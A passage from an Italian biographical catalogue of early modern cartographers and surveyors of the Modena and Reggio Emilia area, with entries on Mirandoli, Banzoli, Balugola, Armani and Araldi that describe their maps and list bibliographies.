Fonti d’archivio:

Bibliografia:
MONDUCCI E NIRONI V, Arte e storia nelle chiese reggiane scomparse, Reggio Emilia, 1976.

Rimandi ad altre schede:

Autore della scheda: Maria Luisa Scarin</

Mirandoli, Celeste

Celeste Mirandoli
N. Mirandola 1794
M. Firenze 1857

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare, cartografo.

Biografia:

Produzione scientifica:
Sotto Francesco IV il Mirandoli conclude numerosi lavori cartografici. Nei primi anni disegna ed incide la mappa topografica dello stato di Massa e Carrara, durante la sua permanenza nel genio rileva con la tavoletta pretoriana gran parte della Lunigiana, tutta la Garfagnana e crea un rilievo in gesso della città di Castelnuovo in scala 1: 2000, presentato al sovrano nel 1841 e conservato nella Biblioteca Estense. Nonostante il passaggio ai cacciatori del Frignano, continua la sua attività cartografica con rilevamenti dell' ex ducato di Lucca e delle vallate toscane limitrofe ai confini estensi, senza dimenticare che dal 1834 al 1841 è continuamente impegnato in missioni speciali per controversie riguardanti i confini tra lo Stato estense, quello lucchese e quello toscano. Dal '42 al '46 (anno di morte di Francesco IV) lo troviamo con il figlio Giuseppe a dirigere i lavori di riempimento dei paduli di Massa ed i rilievi dei boschi reali nelle montagne reggiane e modenesi. Durante il ducato di Francesco V, l’ultimo duca estense, è costretto dagli avvenimenti del 1848 a trasferirsi in Toscana dove Leopoldo II lo conferma in ogni suo grado. Qui, firma una carta topografica dell' isola d'Elba e dirige i lavori per il rilevamento topografico del Compartimento Lucchese a scala 1: 28800. La carta è redatta sulla base della cartografia catastale alla cui redazione aveva collaborato precedentemente il Mirandoli, verificata sul terreno, con l’adozione della proiezione del Cassini e con riferimento al meridiano di Firenze. La carta è composta da 26 fogli. Le antiche biografie del Mirandoli tendono a sottolineare le numerose attestazioni di riconoscenza tributategli da diversi sovrani che si giovarono dei suoi servigi.
La cartografia del Mirandoli è in buona parte manoscritta, a grande scala, e rappresenta territori di piccole dimensioni, con grande dettaglio: nel periodo estense prevalgono le aree dell’alto Appennino, in particolare lungo i confini fra lo Stato di Modena, quello di Lucca e il Granducato di Toscana. Ha uno stile elegante, particolarmente riconoscibile nel ritrarre con lo sfumo i crinali e i versanti e un gusto notevole nella scelta dei colori con i quali dare rilievo agli elementi contesi o problematici. Alcune sue rappresentazioni, tutte di modeste dimensioni – la più grande misura 695 x 420 mm – sono conservate nel fondo cartografico della Biblioteca Poletti di Modena.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
F. CERETTI, Biografie mirandolesi, in Memorie storiche della città e dell’antico ducato della Mirandola, vol. XIV, Mirandola, Grilli, 1902; A. MASTURZO, Quattro fogli della carta topografica del compartimento lucchese, scheda in A. CANTILE, Il territorio nella società dell’informazione. Dalla cartografia ai sistemi digitali, Firenze, Istituto Geografico Militare, 2004, pp. 120-121; P. PAPOTTI, Biografie di alcuni Mirandolesi, Modena, Tipografia Camerale, 1858/59.

Rimandi ad altre schede:

Autore della scheda: Laura Federzoni

Banzoli, Giovanni Andrea

Giovanni Andrea Banzoli
N. 9 aprile 1668
M. 23 dicembre 1734

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
I suoi interessi sono multiformi e si occupa del rilevamento di possessioni agrarie, del territorio urbano, di canalizzazioni, di idraulica. Il nostro esercitava la libera professione, ma difficile è capire l’iter della sua formazione poiché era un autodidatta con basi su una approfondita cultura. Inoltre la sua attività è caratterizzata da nuovi metodi di costruzione delle mappe. Infatti la pianta della città di Reggio è legata al concetto di vista della stessa dall’alto utilizzando edifici elevati come le torri o i campanili senza tener conto della vera prospettiva e dei vari calcoli geometrici. Questo gli dava la possibilità di una visione più ampia al di fuori delle mura e un effetto urbanistico più efficace. Egli era stato comunque considerato come il primo cartografo reggiano anche se non era uscito dall’ambiente cittadino. Aveva numerosi rapporti con cartografi e periti contemporanei come il Penaroli o il Montanari collaboratore di Zambelli. Inoltre conosceva Ferrarini e Ruscelloni Domenico di cui riproduce alcune mappe risalenti alla prima metà del XVII sec. Si rifà anche ad importanti specialisti come gli agrimensori Giovanni Battista ed Andrea Spagni, costruttori di numerosi cabrei.
Numerose sono le opere avendo iniziato la sua attività nel 1701. Fino al 1712 sembra che non abbia percepito alcun compenso per il lavoro eseguito sia per le congregazioni sia per i privati essendo stati incarichi ufficiali. Nel 1715 rileva e riporta in un volume le possessioni della Congregazione di San Filippo Neri (?), tra il 1716 e il 1717 compila 2 volumi dei beni della Comuna Gallana in onore del Vescovo Picenardi.
Il momento più importante del cartografo è stato il 1720 quando costruì l’Atlante storico del Ducato di Reggio e molte altre opere fra cui : quattro piante prospettiche di Reggio Emilia che sostituirono quella del Camuncoli ormai compromessa; le piante delle canalizzazione e degli scoli urbani; il piano per lo sviluppo del canale del Secchia, ecc. Questi lavori costituiscono opere fondamentali della sua operosità e per alcuni sono considerate uniche nel loro genere soprattutto perchè fornivano una visione della città e dei territori dei primi anni del 1700. Sono state applicate tecniche nuove e uno degli argomenti validi è anche quello di immettere numerose didascalie e informazioni. Dal 1725 si dedicò alla creazione di mappe di varie proprietà ecclesiastiche , mappe che cerano alla base di vendite od acquisti. Importante fu anche il lavoro svolto tra il 1726 e il 1730 in quanto fu impegnato alla rilevazione dei beni del Consorzio Presbiteriale. Le mappe prediali sono interessanti poiché in esse furono usate nuove tecniche che costituirono rivoluzioni nel campo della rilevazione catastale. Fondamentale poi è la perfezione nella rilevazione delle acque che egli considerava fondamentali per la produzione di energia per le attività urbane. Molta parte delle opere fatte dal nostro cartografo sono presso l’Archivio di Stato di Reggio Emilia e di Modena , ma anche nei luoghidi origine (Ospedale di S. Maria Nuova). Comunque le mappe da lui costruite si presentano notevolmente omogenee dal punto di vista della realizzazione differenziandosi esclusivamente per il contenuto.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
ARCHIVIO DI STATO DI REGGIO EMILIA, Atlante storico reggiano: Giovanni Andrea Banzoli 1668-1734, Reggio Emilia, 1985.

Rimandi ad altre schede:

Autore della scheda: Maria Luisa Scarin

Balugola, Alberto

Alberto Balugola
N. Modena
M. 1579

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Ebbe parte attiva nella vita e nell’amministrazione della città, dove nel 1547 fu eletto fra i delegati alla riforma degli statuti: la carica gli consentì probabilmente di approfondire le sue conoscenze sul territorio, poiché gli statuti delle città contengono norme collegate alla situazione ambientale dell’area di loro competenza. Girolamo Tiraboschi ricorda che «in un secolo, in cui le carte Geografiche non erano ancor molto in uso, disegnò e fece incidere in legno nel 1571 una carta cosmografica dello Stato Modenese, che è la più antica fra tutte». Si tratta del Ritratto delle città di Modona et del suo antico Contado, una xilografia piuttosto rozza, come ebbe a definirla l’Almagià, di 393x585 mm., priva di coordinate geografiche, orientata con il sud in alto, secondo quanto mostrano i cartigli svolazzanti all’interno della rappresentazione stessa. La cornice che la racchiude, invero, reca una scansione che non corrisponde a quella in gradi, primi e secondi delle coordiante geografiche, ma alle miglia. Si tratta dunque di una particolare scala grafica: in direzione sud-nord si contano 70 miglia, in direzione est-ovest se ne contano 20, ma bisogna osservare che le miglia in direzione est-ovest sono maggiori in lunghezza di quelle in direzione sud-nord, più del doppio. La scala quindi differisce nelle due direzioni fondamentali. Questo è frutto della visione prospettica che caratterizza la rappresentazione: la resa del territorio non deriva da una visione zenitale, che si traduce in una restituzione perfettamente in pianta, come è nelle nostre abitudini, ma da una visione prospettica, che finisce per accorciare e comprimere le distanze da nord verso sud - in questo caso specifico -, poichè si immagina che lo spazio cartografato sia colto da un ipotetico punto di vista collocato in posizione elevata, in basso, al di fuori della carta.
Particolare evidenza hanno le montagne, i fiumi ed i centri abitati: Modena è resa con un disegno imitativo, entro le sue mura, ma occupa uno spazio esorbitante rispetto agli altri centri, con un percepibile cambiamento di scala. Le uniche vie rappresentate sono l’Emilia, perfettamente rettilinea, fra il Panaro ed il Secchia, e la strada da Modena a Nonantola: in quasi tutta la cartografia del periodo la rete stradale non trova spazio, soprattutto per ragioni di sicurezza. Tuttavia le due arterie presenti nella carta del Balugola compaiono anche in altre rappresentazioni, come quella disegnata circa settanta-ottanta anni più tardi, a metà del Seicento, ed inserita nel manoscritto anonimo Trattato della città di Modena et suo Ducato et delle cose in esso accadute, forse opera di Lodovico Vedriani, alla carta 7 verso (Modena, Biblioteca Estense Universitaria, 1734, alfa. G. 10. 3). Questa opera, rimasta incompleta, contiene due carte del Modenese riferite ad un’area che corrisponde quasi perfettamente a quella del Balugola. La carta cui si è fatto riferimento ha il medesimo orientamento e riporta elementi geografici analoghi, fra i quali le due vie citate: si potrebbe pensare ad una filiazione e questo farebbe supporre che ancora a metà del XVII secolo non circolassero immagini del territorio controllato da Modena migliori di quella del Balugola, già antiquata al momento della redazione, perchè stampata con un sistema superato, la xilografia, e con una simbologia decisamente elementare, verificabile in particolare nella fascia montuosa. In realtà nel Seicento esisteva già Il Ducato di Modena, Regio et Carpi col dominio della Carfagnana contenuta nel volume L’Italia di Giovanni Antonio Magini, una carta ben più complessa e certamente di maggiore interesse. Altri punti in comune si riscontrano fra la rappresentazione del Balugola e la Genuina descriptio totius Ditionis Parmensis di G. Cock, realizzata nel 1551 (Biblioteca Apostolica Vaticana, St. Geogr. I 43): l’impostazione è la medesima, con il sud in alto, la fascia montana caratterizzata da un’abbondante rete idrografica, che si infittisce in pianura e converge verso il Po. Parma, al centro della rappresentazione, è collegata con diversi centri vicini tramite la via Emilia, che anche in questa carta è l’unica arteria stradale presente. Si direbbe quasi che esistesse, per i territori delle città emiliane, un tipo di rappresentazione standardizzata, quasi un modello cartografico generico, da adattare a situazioni geografiche in fondo abbastanza simili. Qui, come nella carta del Balugola, manca traccia di confini, sia verso l’esterno, sia all’interno dello stato: nella rappresentazione del Modenese è del tutto assente la partizione in unità statali parzialmente o totalmente indipendenti, che caratterizzano sia quel territorio, sia tutto il ducato nel Cinquecento, ma anche nei secoli successivi. Si tratta dunque di una carta molto generica, che tuttavia resta l’unica, assieme a quella del Pasi, realizzata in un ambiente semi-ufficiale, cioè vicino alla corte.
Il Ritratto delle città di Modona del Balugola, pur con i suoi limiti, dovette avere un certo successo se una cinquantina di anni dopo la sua realizzazione venne utilizzata da Alessandro Tassoni per la stesura del III canto del poema La Secchia Rapita, dove enumera le località che contribuirono con l’invio di soldati alla formazione dell’esercito modenese in guerra con i Bolognesi. Il poeta fece probabilmente ricorso a questa rappresentazione in mancanza di altre più antiche e quindi più vicine all’epoca delle vicende narrate nella Secchia.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
R. ALMAGIA’, Monumenta Italiae Cartographica, Firenze, I.G.M., 1929; L. FEDERZONI, Misure e simboli nella cartografia estense, in D. DAMERI et Al. (a cura), La Bona Opinione. Cultura scienza e misure negli stati estensi, 1598-1860, Campogalliano, Museo della Bilancia, 1997, pp. 264-266; L. FEDERZONI, Gli Stati di Casa d’Este nella cartografia, in A. SPAGGIARI, G. TRENTI (a cura), Lo Stato di Modena. Una capitale, una dinastia, una civiltà nella storia d’Europa, Atti del convegno internazionale, Modena, 25-29 Marzo 1998, Roma, Ministero per i Beni e le Attività Culturali, 2001, pp. 451-480; L. FEDERZONI, Da Marco Antonio Pasi a Domenico Vandelli: una sintesi della cartografia estense, in S. PEZZOLI, S, VENTURI (a cura), Topografia degli Stati Estensi 1821-1828, Istituto per i Beni Artistici Culturali e Naturali della Regione Emilia Romagna, Bologna, Ed. Compositori, 1999, pp. 6-9; A. MIGLIORI, voce Balugola Alberto in Dizionario Biografico degli Italiani, Roma, Istituto della Enciclopedia Italiana, vol. V, 1963; G. SOLI, La più antica carta geografica del Modenese e la Secchia Rapita, in T. CASINI, V. SANTI, Miscellanea Tassoniana, Bologna-Modena, Formiggini, 1908; G. TIRABOSCHI, Biblioteca modenese, Modena, Soc. Tipogr. Modenese, 1781, voce Balugola Alberto.

Rimandi ad altre schede:

Autore della scheda: Laura Federzoni

Armani, Pietro Antonio

Pietro Antonio Armani
N. Reggio Emilia 3 agosto 1717
M. 1799

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Capo-mastro, perito, architetto

Biografia:
Si qualifica come capo-mastro fino al 1777; dal 1779 fu al servizio del comune come perito agrimensore “matricolato”. Dal 1791 si definisce architetto anche se rimane iscritto nell’elenco dei periti.

Produzione scientifica:
In particolare è da citare il rilevamento fatto nel 1775 di edifici facenti parte della “prebenda canonicale” del canonico G. Toschi della Cattedrale di Reggio.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
NIRONI V., Il palazzo del Comune di Reggio Emilia, Reggio Emilia, 1970

Rimandi ad altre schede:

Autore della scheda: Maria Luisa Scarin

Araldi, Antonio

Antonio Araldi
N. Modena 1785
M. 1866

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Nel 1815, dopo la sconfitta napoleonica ed il ritorno degli antichi sovrani, Francesco IV duca di Modena lo chiama a curare, a fianco di Giuseppe Carandini, le operazioni geodetiche per la carta topografica dello Stato Estense, rilevata a scala 1: 28800. Alcune fra queste topografie portano la sua firma. Professore all’Istituto dei Cadetti Matematici Pionieri, dal 1848 insegna Analisi Superiore presso l’Università di Modena e nel 1853 è promosso comandante del Genio militare estense.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Fonti e bibliografia

E. FRASCAROLI, La scuola dei Cadetti Matematici Pionieri. Un politecnico nel Ducato Estense, Modena, Archivio storico e Comune di Modena – Assessorato alla Cultura e ai Beni Culturali, 1998; C.G. MOR, Storia dell’Università di Modena, Modena, STEM Mucchi, 1963.

Rimandi ad altre schede:

Autore della scheda: Laura Federzoni